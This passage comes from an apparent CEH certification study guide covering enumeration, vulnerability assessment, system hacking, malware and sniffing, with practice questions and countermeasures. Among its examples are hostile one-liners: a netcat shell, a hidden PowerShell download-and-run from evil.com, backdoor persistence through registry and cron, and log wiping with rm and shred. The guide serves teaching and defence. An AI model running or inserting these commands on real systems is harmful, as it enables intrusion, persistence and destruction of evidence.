- A) A denial-of-service can be launched
- B) Configuration and sensitive data can be read
- C) The device can be rebooted
- D) Passwords can be changed

Answer: B -- "public" is read-only, allows reading sensitive data. Read-write ("private") would allow changes.

LDAP Enumeration

Core Concept: LDAP (Lightweight Directory Access Protocol) provides access to directory services like Active Directory. Attackers query LDAP anonymously or with compromised credentials to list users, groups, computers, and organizational structure.

Key Tools:

- **ldapsearch:** `ldapsearch -x -h 10.0.0.1 -b "dc=example,dc=com"` (anonymous query)
- **Nmap:** `nmap -p 389 --script ldap-search --script-args 'ldap.base="dc=example,dc=com"'`
- **Softerra LDAP Browser** (GUI)

Port Numbers & Protocols: LDAP 389, LDAPS 636.

Common Pitfalls:

- Anonymous LDAP access is a misconfiguration.
- Base DN is critical; null bind or simple authentication.

- Countermeasure: Require authenticated binds, disable anonymous lookups, use LDAPS or StartTLS.

Practice Question:

An auditor finds that the command `ldapsearch -x -h 10.1.1.5 -b "dc=internal,dc=corp"` returns a list of all users without prompting for credentials. What is the issue?

- A) Weak password policy
- B) Anonymous LDAP bind is enabled
- C) Missing firewall rule
- D) Open SSH port

Answer: B -- `-x` is simple authentication, no credentials provided, so anonymous bind is allowed.

NTP and NFS Enumeration

Core Concept: NTP (Network Time Protocol) can leak internal hostnames and IPs via monlist query. NFS (Network File System) exports file systems; misconfigured NFS allows unauthorized mounting and access to sensitive files.

Key Tools:

- **ntpq:** `ntpq -c monlist <target>` (if vulnerable, returns list of recent clients)
- **NFS:** `showmount -e 10.0.0.1` lists exports; `mount -t nfs 10.0.0.1:/exported /mnt` to mount
- **Nmap:** `nmap -sU -p 123 --script ntp-monlist`; `nmap -p 2049 --script nfs-showmount`

Port Numbers & Protocols: NTP 123, NFS 2049.

Common Pitfalls:

- NTP monlist is a known amplification vector; also reveals IP addresses of clients.
- For NFS, restrict exports to specific hosts and use `nosuid` mount option.

Practice Question:

An attacker runs `showmount -e 192.168.1.100` and sees `/data *`. What does the asterisk mean?

- A) The share requires authentication
- B) The share is encrypted
- C) The share is a pseudo file system
- D) The share is accessible to any host

Answer: D -- The asterisk denotes no IP restriction; any client can mount.

SMTP and DNS Enumeration

Core Concept: SMTP enumeration verifies email addresses and internal users using VRFY/EXPN commands. DNS enumeration goes beyond footprinting to query internal DNS records, perform cache snooping, and exploit zone transfers to fully map infrastructure.

Key Tools:

- **SMTP:** `nc -nv 10.0.0.1 25` then `VRFY / EXPN`
- **smtp-user-enum:** `smtp-user-enum -M VRFY -u root -t 10.0.0.1`
- **DNS:** `dnsrecon -d example.com -t axfr` , `dnsenum example.com`
- **DNS cache snooping:** `dig +norecurse @ns A target.com`

Port Numbers & Protocols: SMTP 25, DNS 53.

Common Pitfalls:

- VRFY validates a single user; EXPN expands a mailing list.
- SMTP enumeration can also determine mail server software via banner.
- DNS countermeasure: restrict zone transfers, disable recursion on public DNS servers.

Practice Question:

A penetration tester connects to port 25 and issues "EXPN admin". What information does this attempt to retrieve?

- A) Verify if admin user exists
- B) Retrieve server version
- C) Test for open relay
- D) List email addresses of members in the admin mailing list

Answer: D -- EXPN expands a mailing list to show its members. (A is VRFY.)

Other Enumeration Techniques

Core Concept: This covers enumeration on various services: IPsec (using ike-scan), VoIP (SIP enumeration with svmap), RPC/Portmapper (rpcbind on port 111), Unix/Linux user enumeration via finger (79) and rwho (513), Telnet/FTP banner grabbing, TFTP (UDP 69), SMB, IPv6 neighbor discovery, and BGP routing table queries.

Key Tools:

- **IPsec:** `ike-scan -M 10.0.0.1`
- **VoIP:** `svmap 10.0.0.0/24` (from SIPVicious)
- **RPC:** `rpcinfo -p 10.0.0.1` OR `nmap -sR`
- **Unix:** `finger @10.0.0.1` OR `finger -l root@target`
- **BGP:** BGPdump, looking glass queries

Port Numbers & Protocols: RPC portmapper 111 (TCP/UDP), finger 79, TFTP 69, Telnet 23, FTP 21, BGP 179. SIP uses 5060/5061.

Common Pitfalls:

- RPC enumeration reveals NFS, NIS.
- EC-Council often asks about the `finger` command for user enumeration.

Practice Question:

An attacker runs `rpcinfo -p 192.168.1.50` and sees program 100005 version 1 (mountd). What can be inferred?

- A) The host is a domain controller
- B) The host is running NFS and mountd is available
- C) The host has a web server
- D) The host is a database server

Answer: B -- mountd is part of NFS, indicating NFS shares.

Enumeration Countermeasures

Core Concept: Disable unnecessary services, enforce authentication for queries, restrict access via firewalls, and monitor for enumeration attempts. Apply secure configurations: SNMPv3, disable null sessions, restrict RPC, disable SMTP VRFY, and use encryption.

Key Tools:

- Group Policy for Windows (null session restrictions)
- iptables: `iptables -A INPUT -p tcp --dport 139 -j DROP`
- Snort rules for detection
- Nessus checks for misconfigurations

Port Numbers & Protocols: N/A

Common Pitfalls:

- For SNMP: disable default communities, use ACL.
- For LDAP: disable anonymous bind.
- For SMTP: disable VRFY/EXPN.
- For DNS: restrict zone transfers.
- For NFS: export with limited hosts.

Practice Question:

Which configuration change best prevents an attacker from using null sessions to enumerate users on a Windows server?

- A) Set RestrictAnonymous registry key to 1
- B) Disable ICMP
- C) Disable port 445
- D) Use SNMPv3

Answer: A -- Setting `RestrictAnonymous=1` in Windows prevents anonymous SMB enumeration without authentication.

Domain 3: System Hacking Phases and Attack Techniques

Sub-Domain: Vulnerability Analysis

Vulnerability Assessment Concepts

Core Concept: Vulnerability assessment identifies, classifies, and prioritizes vulnerabilities in systems. Attackers use these to find weaknesses; defenders assess to patch them. It is a proactive security process.

Key Tools: Nessus (`nessuscli scan new` or via GUI), OpenVAS (`gvm-cli --create-task`), Nikto (`nikto -h http://target.com`).

Port Numbers & Protocols: N/A (assessment tools often scan common ports).

Common Pitfalls:

- Vulnerability assessment is not the same as penetration testing; it is a broader process of scanning and reporting, while pen testing includes exploitation.
- A VA can be automated, but pen testing requires human skill.

Countermeasures: Perform regular vulnerability scans, maintain an asset inventory, and implement a patch management process.

Practice Question:

A security team runs a Nessus scan and receives a report listing CVSS scores for each finding. What does the CVSS score represent?

- A) The severity of the vulnerability
- B) The exploitability index
- C) The vendor's patch priority
- D) The network criticality

Answer: A -- CVSS (Common Vulnerability Scoring System) quantifies severity.

Vulnerability Classification and Assessment Types

Core Concept: Vulnerabilities are classified by type (misconfiguration, missing patches, default passwords, design flaws). Assessment types include network-based, host-based, application-layer, and wireless. Attackers often target known CVE listings.

Key Tools: Nmap NSE (`--script vuln`), Nessus (credentialed vs non-credentialed), Qualys.

Port Numbers & Protocols: N/A

Common Pitfalls:

- Credentialed scans provide more accurate results (fewer false positives) because they log in and assess from inside.
- Non-credentialed scans run from external view.
- Credentialed scans find missing patches more reliably.

Countermeasures: Regular credentialed scans, patch management, configuration baselines, and security hardening.

Practice Question:

An auditor wants to detect missing security patches on 100 Windows servers. Which assessment approach yields the most reliable results?

- A) Credentialed scan with local admin rights
- B) Social engineering test
- C) Phishing simulation
- D) Unauthenticated network scan

Answer: A -- With credentials, the scanner can query the OS for installed patches directly, reducing false positives.

Vulnerability Assessment Tools

Core Concept: Tools automate the scanning process. EC-Council covers Nessus, OpenVAS, GFI LanGuard, Qualys, Nexpose, and Nikto (web). They identify vulnerabilities, misconfigurations, and compliance issues.

Key Tools:

- **Nessus:** `nessuscli scan new --name "MyScan" --target 192.168.1.1`
- **OpenVAS:** `gvm-cli socket --xml "<create_task>...</create_task>"`
- **Nikto:** `nikto -h 10.0.0.1 -p 80`

Port Numbers & Protocols: Nessus web interface: 8834. OpenVAS: 9392.

Common Pitfalls:

- **Nikto** is specifically for web server scanning.
- **Nessus/OpenVAS** are general network vulnerability scanners.
- GFI LanGuard is often used for patch management and network auditing.

Countermeasures: Use these tools for self-assessment, but also rely on manual validation to avoid false negatives.

Practice Question:

Which vulnerability assessment tool is specifically designed to test web servers for dangerous files and misconfigurations?

- A) OpenVAS
- B) Nessus
- C) Nikto
- D) Wireshark

Answer: C -- Nikto is a web server scanner.

Vulnerability Assessment Reports

Core Concept: Reports translate technical findings into actionable items. They typically include executive summary, methodology, findings with risk ratings, and remediation steps.

Key Tools: Dradis (reporting framework), Faraday, MagicTree. Many scanners generate built-in PDF/HTML reports.

Port Numbers & Protocols: N/A

Common Pitfalls:

- The most critical part of a report for management is the executive summary with risk prioritization.
- Technical details are for IT staff.
- False positives should be minimized and noted.

Countermeasures: Validate findings, track remediation with a ticketing system, and conduct re-scans to verify fixes.

Practice Question:

A vulnerability report identifies a critical remote code execution flaw with a CVSS of 9.8. What is the best first action for the recipient?

- A) Disable the server's firewall
- B) Shut down the server permanently
- C) Immediately apply the vendor patch or mitigation
- D) Ignore it if the server is not internet-facing

Answer: C -- The high-risk vulnerability should be patched or mitigated according to the organization's change management.

Sub-Domain: System Hacking

System Hacking Concepts

Core Concept: System hacking is the phase where attackers exploit vulnerabilities to gain unauthorized access to a system. It includes gaining access, escalating privileges, maintaining access (backdoors), and clearing tracks. The goal is to get root/admin control.

The Four Phases:

1. **Gaining Access** -- initial breach
2. **Escalating Privileges** -- elevate to admin/root
3. **Maintaining Access** -- install backdoors for persistence
4. **Clearing Tracks** -- delete logs to hide

Key Tools: Metasploit, John the Ripper, Hydra, mimikatz, WinPEAS/LinPEAS, wevtutil, netcat.

Port Numbers & Protocols: Commonly attacked: SMB 445, RDP 3389, SSH 22, FTP 21, HTTP 80.

Common Pitfalls:

- Countermeasure: Strong authentication, patching, least privilege, audit logging to a remote server.

Practice Question:

An attacker has a limited user shell on a Linux box. Which action is part of the "Escalating Privileges" phase?

- A) Running a kernel exploit to gain root
- B) Cracking the root password using John the Ripper
- C) Deleting the bash history
- D) Installing a keylogger

Answer: A -- Exploiting a kernel vulnerability to elevate privileges is privilege escalation.

Gaining Access

Core Concept: Gaining access is the initial breach into a system, typically through exploiting vulnerabilities, cracking passwords, or social engineering. It can be at OS level (command shell) or application level.

Key Tools:

- **Metasploit:** `use exploit/windows/smb/ms17_010_eternalblue`
- **Hydra:** `hydra -l admin -P pass.txt 192.168.1.1 ssh`
- **Netcat:** `nc victim_ip 1234 -e /bin/sh`
- **CrackMapExec:** `crackmapexec smb target -u users.txt -p Password1`

Port Numbers & Protocols: SMB 445, RDP 3389, SSH 22, FTP 21, HTTP 80.

Common Pitfalls:

- Remote exploitation happens over the network; local exploitation requires prior access.
- Gaining access often results in a shell.
- Countermeasure: Patching, strong passwords, network segmentation, MFA.

Practice Question:

An attacker exploits a web application's file upload vulnerability to upload a PHP web shell, then navigates to the shell URL and executes commands. Which phase of system hacking just occurred?

- A) Clearing tracks
- B) Gaining access
- C) Maintaining access
- D) Privilege escalation

Answer: B -- The attacker just gained access (command execution) via the web shell.

Password Cracking

Core Concept: Password cracking is the process of recovering passwords from stored or transmitted data. Techniques include dictionary attacks, brute force, hybrid, rule-based, and rainbow tables. Attackers target the SAM file, /etc/shadow, and network authentication hashes.

Key Tools:

- **Mimikatz:** `sekurlsa::logonpasswords`
- **Hashcat:** `hashcat -m 1000 hashes.txt rockyou.txt` (cracking NTLM)

- **John:** `john --format=NT hashes.txt`
- **Hydra:** `hydra -l admin -P list.txt ssh://target` (online brute-force)
- **CeWL:** `cewl target.com` (custom wordlist generator from website)

Port Numbers & Protocols: N/A

Common Pitfalls:

- LM hashes are weak and disabled in Vista+.
- NTLM hash is used for authentication.
- Rainbow tables trade time for storage; using salt defeats rainbow tables.
- Dictionary vs brute-force: dictionary uses a wordlist; brute-force tries all combinations.

Countermeasures: Strong password policy, account lockout, salting, multi-factor authentication.

Practice Question:

A security analyst obtains an NTLM hash "B4B9B02E6F09A9BD760F388B67351E2B". Which tool can most efficiently crack it with a precomputed table?

- A) Wireshark
- B) RainbowCrack
- C) Hydra
- D) Netcat

Answer: B -- RainbowCrack uses precomputed rainbow tables for fast lookup.

Vulnerability Exploitation

Core Concept: Exploitation leverages a vulnerability to execute arbitrary code or commands. Attackers use exploit frameworks (Metasploit) or manually crafted proof-of-concept code. The exploit must match the vulnerability and target architecture.

Key Tools:

- **Metasploit:** `search struts2` , `use exploit/multi/http/struts2_content_type_ognl` , `set RHOSTS` , `exploit`

- **Searchsploit** (Exploit-DB): `searchsploit apache 2.4`
- **Immunity Debugger** for exploit development
- **Mona.py** for pattern creation

Port Numbers & Protocols: N/A

Common Pitfalls:

- Payloads: **singles** (self-contained), **stagers** (small, download larger stage), **stages** (the full payload).
- Meterpreter is an advanced payload.
- Countermeasure: Patch promptly, use intrusion prevention systems, and application whitelisting.

Practice Question:

In Metasploit, which command would you use to list all available exploits for a specific vendor?

- A) `use auxiliary/scanner/portscan`
- B) `show exploits`
- C) `search name:Microsoft`
- D) `setg RHOSTS`

Answer: C -- `search` with keywords filters modules.

Escalating Privileges

Core Concept: After initial access (often with limited user), attackers elevate to Administrator/root to gain full control. Techniques include kernel exploits, misconfigured services, Windows token manipulation (UAC bypass), DLL hijacking, and sudo misconfigurations.

Key Tools:

- **Windows:** PowerUp (`Invoke-AllChecks`), SharpUp, winPEAS
- **Linux:** linpeas.sh, LinEnum
- **Metasploit:** `getsystem` command

- **Kernel exploits:** precompiled executables (e.g., CVE-2021-3156 sudoedit)
- **GTFO Bins:** reference for sudo exploitation

Port Numbers & Protocols: N/A

Common Pitfalls:

- Unquoted service path is a classic Windows privilege escalation vector.
- UAC bypass is needed for admin tasks if admin but not elevated.
- In Linux, SUID bit misconfiguration allows executing as owner.
- Countermeasure: Apply least privilege, patch kernel, proper service configurations, and audit sudo rights.

Practice Question:

A hacker has a low-privilege shell on a Windows 10 machine and runs `whoami /priv` to see `SelmpersonatePrivilege` enabled. What attack is most suitable?

- A) SQL injection
- B) Pass the hash
- C) Potato attack (Juicy/Rotten)
- D) DLL hijacking

Answer: C -- `SelmpersonatePrivilege` can be exploited with potato attacks to get SYSTEM token.

Maintaining Access

Core Concept: Attackers ensure they can return to the compromised system even if the initial vulnerability is patched. They install backdoors, create new user accounts, open listener ports, or use remote administration tools.

Key Tools:

- **Metasploit persistence:** `run persistence -U -i 10 -p 4444 -r attacker_IP`
- **Windows registry:** `reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Updater /t REG_SZ /d C:\backdoor.exe`
- **Netcat:** `nc -lvp 4444 -e cmd.exe`

- **RATs:** DarkComet, njRAT
- **SSH backdoor:** ssh-keygen and copy to victim's `~/.ssh/authorized_keys`

Port Numbers & Protocols: Known backdoor ports: NetBus 12345, SubSeven 27374.

Common Pitfalls:

- Countermeasure: Monitor for new user accounts, unusual processes, port scans, and check startup directories and scheduled tasks.

Practice Question:

A penetration tester successfully gains SYSTEM access on a server and wants to maintain access without detection. Which method is stealthiest?

- A) Open a port in firewall
- B) Install a new Windows service with a misleading name
- C) Create a new domain admin account
- D) Add a cron job calling back to a C2 server using HTTPS

Answer: D -- A scheduled callback over an encrypted channel is harder to detect than new services or accounts.

Executing Applications

Core Concept: Attackers execute malicious applications (keyloggers, spyware, trojans) on the compromised system to gather data, cause damage, or further the attack. This often happens after gaining access and privilege escalation.

Key Tools:

- **Metasploit:** `upload /path/to/malware.exe C:\\Windows\\Temp` then `execute -f malware.exe`
- **PSEXEC:** `psexec \\target -u admin -p pass cmd`
- **PowerShell:** `powershell -ExecutionPolicy Bypass -File evil.ps1`

Port Numbers & Protocols: N/A

Common Pitfalls:

- Remote execution tools: PsExec, WMIC.

- DLL injection runs code in another process.
- Countermeasure: Application whitelisting (AppLocker, WDAC), antivirus, and endpoint detection.

Practice Question:

An attacker wants to run a malicious binary on a compromised Windows target without leaving it on disk. Which technique is most appropriate?

- A) Copy the exe to startup folder
- B) Fileless execution using PowerShell to reflectively load the binary in memory
- C) Install as a service
- D) Schedule a task to run the exe

Answer: B -- Fileless execution keeps the payload only in memory, evading disk forensics.

Hiding Files

Core Concept: Attackers hide malicious files to evade detection by users and antivirus. Techniques include NTFS Alternate Data Streams (ADS), steganography, hidden attributes, rootkits, and fileless storage.

Key Tools:

- **ADS:** `type calc.exe > readme.txt:calc.exe` then `start .\readme.txt:calc.exe`
- **Steganography:** OpenStego, Snow (whitespace), Steghide (`steghide embed -cf image.jpg -ef secret.txt`)
- **Rootkits:** Hacker Defender (userland)
- **Linux:** `mv malware .malware` (hidden files with dot prefix)

Port Numbers & Protocols: N/A

Common Pitfalls:

- ADS only works on NTFS.
- Detecting ADS using `dir /r` or `streams.exe`.
- Countermeasure: File integrity monitoring, AV that scans ADS.

Practice Question:

A suspect's machine has a file picture.jpg. Forensic analysis reveals hidden data within it using steghide. What technique was used?

- A) Rootkit
- B) Alternate Data Streams
- C) Encryption
- D) Steganography

Answer: D -- Steganography hides data inside another file.

Establishing Persistence

Core Concept: Persistence ensures that the attacker's access survives reboots and logoffs. Common methods include registry Run keys, scheduled tasks, startup folder, Windows services, WMI event subscriptions, and cron jobs.

Key Tools:

- **Metasploit:** `run persistence -X` (install as service)
- **Manual:** `schtasks /create /tn "Update" /tr C:\temp\backdoor.exe /sc hourly`
- **Registry:** `reg add HKLM\...\Run /v "Updater" /d C:\backdoor.exe`
- **Linux:** `crontab -e` add `*/10 * * * * /tmp/backdoor`

Port Numbers & Protocols: N/A

Common Pitfalls:

- EC-Council tests registry paths for startup.
- WMI permanent event subscription is a stealthier method.
- Countermeasure: Monitor startup locations, enable AppLocker, restrict user privileges, and review scheduled tasks.

Practice Question:

Which Windows registry key is commonly used for per-machine persistence that runs a program at every logon for any user?

- A) `HKLM\System\CurrentControlSet\Services`
- B) `HKLM\Software\Microsoft\Windows\CurrentVersion\Run`
- C) `HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce`
- D) `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`

Answer: B -- HKLM...\Run runs for all users. (A is a services key, not a startup-run key; C runs once then is deleted; D only affects the current user.)

Clearing Logs

Core Concept: Attackers delete or modify logs to remove evidence of their presence and activities. They target system logs (Windows Event Log, Linux syslog), application logs, and shell histories.

Key Tools:

- **Windows:** `wevtutil cl System` , `wevtutil cl Security` , `Clear-EventLog -LogName Security` (PowerShell)
- **Metasploit:** `clearev` command in Meterpreter
- **Linux:** `shred -zu /var/log/*` , `rm -rf /var/log` , `history -c`
- **Timestomp:** Metasploit's `timestomp` to change file timestamps

Port Numbers & Protocols: N/A

Common Pitfalls:

- Log cleaning is the final phase of the hacking methodology.
- Countermeasure: Centralized logging to a remote syslog server or SIEM, which attackers cannot delete if properly configured, and frequent log backups.

Practice Question:

An attacker uses Meterpreter and types `clearev` . What is the effect?

- A) Deletes all files in the current directory
- B) Removes the attacker's user account
- C) Clears the Windows Application, System, and Security event logs
- D) Disables Windows Firewall

Answer: C -- Meterpreter's `clearev` command wipes event logs.

Sub-Domain: Malware Threats

Malware Concepts

Core Concept: Malware is malicious software designed to damage, disrupt, or gain unauthorized access. Types include viruses, worms, trojans, ransomware, spyware, rootkits, and adware. Malware can be polymorphic to evade signature detection.

Key Tools: Analysis: IDA Pro, OllyDbg, Ghidra. Detection: Windows Defender, ClamAV. Sandbox: Cuckoo Sandbox, Any.Run. Malware samples: VirusTotal.

Port Numbers & Protocols: N/A

Common Pitfalls:

- A **virus** requires user interaction to spread (e.g., opening a file); a **worm** self-propagates across networks.
- A **trojan** masquerades as legitimate software.
- **Ransomware** restricts access and demands payment.
- Countermeasure: Antivirus, email filtering, user awareness, least privilege.

Practice Question:

A malicious program spreads automatically by exploiting a vulnerability in SMB, without any user action. This program is classified as:

- A) Adware
- B) Virus
- C) Worm
- D) Trojan

Answer: C -- Worm propagates itself over network with no user interaction.

APT Concepts

Core Concept: Advanced Persistent Threats (APTs) are sophisticated, long-term cyberattacks by nation-states or organized groups to steal data or sabotage. They use multi-stage, custom malware and maintain long-term presence.

Key Tools: Common APT malware: Stuxnet (worm targeting ICS), Duqu, Flame. Analysis: threat intelligence platforms, Cuckoo Sandbox. C2 frameworks: Cobalt Strike, Empire.

Port Numbers & Protocols: N/A

Common Pitfalls:

- APTs are characterized by being targeted, long-term, and well-funded.
- Difference from general malware: targeting, persistence, sophistication.
- Countermeasure: Defense-in-depth, network segmentation, advanced threat detection (EDR, NTA), regular security audits.

Practice Question:

A government agency discovers that a sophisticated attacker has been exfiltrating classified documents for 18 months using custom malware that evaded standard antivirus. This is an example of:

- A) An advanced persistent threat
- B) A DDoS attack
- C) A phishing campaign
- D) A script kiddie attack

Answer: A -- APT due to long-term, targeted, custom malware.

Trojan Concepts

Core Concept: A Trojan is a program that appears useful but performs malicious actions hidden from the user. They do not replicate themselves. They create backdoors, steal data, or download other malware.

Key Tools:

- **RATs:** njRAT, DarkComet, Poison Ivy
- **Detection:** `netstat -ano` to see unusual outbound connections
- **Known trojan ports:** NetBus 12345, SubSeven 27374, Back Orifice 31337

Port Numbers & Protocols: NetBus 12345, SubSeven 27374, Back Orifice 31337.

Common Pitfalls:

- Trojans do not self-replicate (unlike viruses/worms).
- Wrappers bind the trojan with a legitimate program.
- Trojan types: remote access, data-sending, destructive, proxy, FTP.
- Countermeasure: Do not run untrusted executables, use software from official sources, AV.

Practice Question:

A suspicious process on a Windows host connects to a remote IP on port 31337. This port is commonly associated with which trojan?

- A) Beast
- B) Back Orifice
- C) SubSeven
- D) NetBus

Answer: B -- Back Orifice default port is 31337.

Virus and Worm Concepts

Core Concept: A virus attaches itself to a legitimate program or file and requires user action to spread. A worm is a standalone malware that spreads automatically over networks. Both can carry payloads (destructive or data theft).

Key Tools: Macro virus: VBA macros in Office. Creation tools: JPS Virus Maker. Analysis: strings, PEiD. Detection: signature-based AV, heuristic analysis.

Port Numbers & Protocols: N/A

Common Pitfalls:

- A **logic bomb** triggers on a specific condition (date, event).
- A **multipartite virus** infects both boot sector and executables.
- **Stealth virus** hides modifications.
- **Polymorphic virus** changes its code signature.
- Countermeasure: Updated antivirus, disable macros in Office, patch systems against worm exploits.

Practice Question:

A malware that infects the boot sector of a hard drive and executable files is classified as:

- A) Multipartite virus
- B) Worm
- C) Macro virus
- D) Polymorphic virus

Answer: A -- Multipartite virus infects multiple vectors (boot sector + files).

Fileless Malware Concepts

Core Concept: Fileless malware resides entirely in memory and uses legitimate system tools (PowerShell, WMI) to execute malicious actions, avoiding writing to disk. This evades traditional file-based antivirus.

Key Tools:

- PowerShell Empire, PowerSploit, Cobalt Strike (`execute-assembly`)
- Command: `powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://evil.com/script.ps1')"`
- Defense: ETW (Event Tracing for Windows), AMSI (Antimalware Scan Interface)

Port Numbers & Protocols: N/A

Common Pitfalls:

- Fileless malware uses registry for persistence (e.g., storing script in registry keys).
- It exploits living-off-the-land binaries (LOLBins) like `regsvr32`, `rundll32`, `mshta`.

- Countermeasure: Enable PowerShell logging, constrained language mode, application whitelisting, and monitor for unusual process command lines.

Practice Question:

A security tool detects a PowerShell process making a network connection to a known malicious IP, but no new files are found on disk. What type of attack is likely occurring?

- A) Trojan
- B) Rootkit
- C) Worm
- D) Fileless malware

Answer: D -- Fileless malware lives in memory, uses PowerShell to download and run code without writing to disk.

Malware Analysis

Core Concept: Malware analysis determines malware functionality, origin, and impact. It has two main types: **static** (analyzing code without execution) and **dynamic** (running in a sandbox). Both are essential for creating signatures and understanding threats.

Key Tools:

- **Static:** `strings malware.exe`, PEiD, CFF Explorer, `objdump -d malware`, IDA Pro, Ghidra
- **Dynamic:** Process Monitor (procmon), Wireshark, Regshot, FakeNet (simulated network)
- **Sandboxes:** Cuckoo Sandbox, Joe Sandbox, Any.Run (online)

Port Numbers & Protocols: N/A

Common Pitfalls:

- Static analysis can be defeated by packing/obfuscation.
- A packed executable has high entropy.
- Dynamic analysis observes behavior: API calls (CreateFile, RegSetValue).
- Countermeasure: Organizations should have malware analysis capability for incident response.

Practice Question:

An analyst uses `strings` on a suspicious binary but sees very few readable strings and notices the .text section has high entropy. What does this indicate?

- A) The binary is clean
- B) The binary is a text file
- C) The binary is 64-bit
- D) The binary is likely packed or encrypted

Answer: D -- Packing compresses/encrypts the code, reducing readable strings and increasing entropy.

Malware Countermeasures

Core Concept: Defense against malware includes a layered approach: endpoint protection (antivirus, EDR), email filtering, web filtering, patch management, user awareness, least privilege, and application whitelisting.

Key Tools:

- Windows Defender: `MpCmdRun -Scan -ScanType 2`
- AppLocker: rules to allow only signed executables
- Software Restriction Policies
- YARA rules for custom detection
- Email gateways: Mimecast, Proofpoint

Port Numbers & Protocols: N/A

Common Pitfalls:

- The most effective single countermeasure is user education (do not click suspicious links).
- Regular updates and backups are critical.
- For fileless malware: enable AMSI, PowerShell logging.
- For worms: network segmentation and patching.

Practice Question:

Which configuration best prevents a macro virus from executing in a corporate environment?

- A) Use strong passwords
- B) Install antivirus
- C) Block port 25
- D) Disable all macros in Office documents, enable only with notification or digital signatures

Answer: D -- Disabling macros by default blocks the initial infection vector.

Anti-Malware Software

Core Concept: Anti-malware software includes antivirus, anti-spyware, and EDR solutions that detect, block, and remove malicious software using signature-based, heuristic, and behavioral analysis.

Key Tools:

- Windows Defender: `mpcmdrun -Scan -ScanType 1` (quick scan)
- ClamAV (Linux): `clamscan -r /home`
- Malwarebytes, Kaspersky, McAfee
- EDR: CrowdStrike Falcon, SentinelOne

Port Numbers & Protocols: N/A

Common Pitfalls:

- Heuristic detection can catch unknown (zero-day) malware.
- **False positive:** clean file flagged as malicious.
- **False negative:** malware not detected.
- Signature-based detection cannot detect new variants.

Practice Question:

A new ransomware variant not in any antivirus database encrypts files on an endpoint with EDR. The EDR detects the activity because it monitors the rate of file modifications and blocks the process. This type of detection is:

- A) Signature-based
- B) Firewall rule
- C) Heuristic/behavioral
- D) DNS filtering

Answer: C -- The EDR used behavior (mass file changes) to identify the threat.

Domain 4: Network and Perimeter Hacking

Sub-Domain: Sniffing

Sniffing Concepts

Core Concept: Sniffing captures network traffic. In a shared medium (hub) or via promiscuous mode, all frames are visible. In switched networks, traffic is isolated by MAC; attackers use ARP spoofing or MAC flooding to intercept. Sniffing targets passwords, email, and files.

Key Tools: Wireshark (`capture filter host 192.168.1.5`), tcpdump (`tcpdump -i eth0 host 10.0.0.1`), dsniff suite (arpspoof, dnsspoof), Cain & Abel.

Port Numbers & Protocols: N/A

Common Pitfalls:

- Promiscuous mode accepts all frames; monitor mode is for wireless.
- Hub sends all traffic to all ports; switch unicasts.
- SPAN port allows lawful sniffing.
- Countermeasure: Encryption (HTTPS, SSH, VPN), static ARP, port security.

Practice Question:

On which type of network device can a sniffer capture all traffic simply by being plugged in, without any attack?

- A) Switch
- B) Hub
- C) Router
- D) Firewall

Answer: B -- A hub repeats all traffic to every port.

Sniffing Technique: MAC Attacks

Core Concept: MAC flooding overwhelms a switch's CAM table with fake source MAC addresses, causing it to fail open and flood all frames to all ports, converting it to a hub-like environment for sniffing.

Key Tools: `macof` (part of `dsniff`): `macof -i eth0 -s 192.168.1.100`, Yersinia, Etherflood.

Port Numbers & Protocols: N/A

Common Pitfalls:

- MAC flooding exploits the limited CAM table size.
- Countermeasure: Port security on Cisco switches: `switchport port-security maximum 1` and `switchport port-security violation shutdown`. Also, enable MAC address learning limits.

Practice Question:

An attacker runs `macof` on a switched network and subsequently captures traffic belonging to the victim's machine. What is the most likely explanation?

- A) The CAM table overflowed, causing the switch to flood frames
- B) The attacker changed his MAC to the victim's
- C) The switch is running STP
- D) The attacker performed a DHCP attack

Answer: A -- MAC flooding overflows CAM table, switch enters fail-open mode broadcasting all frames.

Sniffing Technique: DHCP Attacks

Core Concept: DHCP starvation exhausts IP pool by sending many DHCP requests with fake MACs, leading to denial of service. Then a rogue DHCP server (DHCP spoofing) can

provide malicious DNS or gateway settings, directing traffic to the attacker for sniffing.

Key Tools: Yersinia (`yersinia -I interactive`), DHCPig (DHCP exhaustion), dnsmasq for rogue DHCP.

Port Numbers & Protocols: DHCP uses UDP 67/68.

Common Pitfalls:

- DHCP snooping requires trusted ports for legitimate DHCP servers.
- Countermeasure: Enable DHCP snooping, rate limit DHCP requests, use static IP for critical servers.

Practice Question:

An organization implements DHCP snooping on its switches. After configuration, clients can no longer obtain IP addresses from the legitimate server. What is the likely issue?

- A) DNS is down
- B) STP blocking
- C) MAC flooding is occurring
- D) The legitimate DHCP server port is not configured as trusted

Answer: D -- DHCP snooping drops DHCP server messages unless port is trusted.

Sniffing Technique: ARP Poisoning

Core Concept: ARP poisoning (spoofing) sends falsified ARP replies to associate the attacker's MAC with the IP of the gateway (or another host), causing traffic to be sent to the attacker, enabling sniffing or man-in-the-middle.

Key Tools:

- arpspoof : `arpspoof -i eth0 -t 192.168.1.5 192.168.1.1`
- Bettercap: `bettercap -T 192.168.1.5 --arp-spoof`
- Ettercap: `ettercap -T -M arp /target// /gateway//`

Port Numbers & Protocols: N/A (ARP is Layer 2)

Common Pitfalls:

- ARP poisoning works within the same broadcast domain.
- Countermeasure: Static ARP entries (not scalable), dynamic ARP inspection (DAI) on switches, ARPwatch to detect changes.
- DAI validates ARP packets against DHCP snooping binding table.

Practice Question:

A network admin sees a warning from ARPwatch that the MAC address for 192.168.1.1 changed from AA:BB:CC:11:22:33 to 00:0C:29:AB:CD:EF. What is the most likely attack?

- A) MAC flooding
- B) DNS poisoning
- C) DHCP starvation
- D) ARP poisoning

Answer: D -- ARP cache poisoning changes the MAC associated with an IP.

Sniffing Technique: Spoofing Attacks

Core Concept: Spoofing involves impersonating another device or user by falsifying data, such as MAC spoofing, IP spoofing, or content spoofing. Used to bypass filters, launch DoS, or perform MITM.

Key Tools:

- **MAC spoofing:** Linux `ifconfig eth0 hw ether 00:11:22:33:44:55` ; Windows: SMAC tool
- **IP spoofing:** `hping3 -a spoofedIP target`

Port Numbers & Protocols: N/A

Common Pitfalls:

- IP spoofing is used in blind attacks (attacker cannot see response).
- Countermeasure: Ingress/egress filtering at routers (RFC 2827) to drop packets with spoofed source IPs not belonging to internal network.

Practice Question:

A firewall rule blocks traffic from IP 10.0.0.50. An attacker changes his machine's IP to 10.0.0.51 and successfully connects. What type of attack is this?

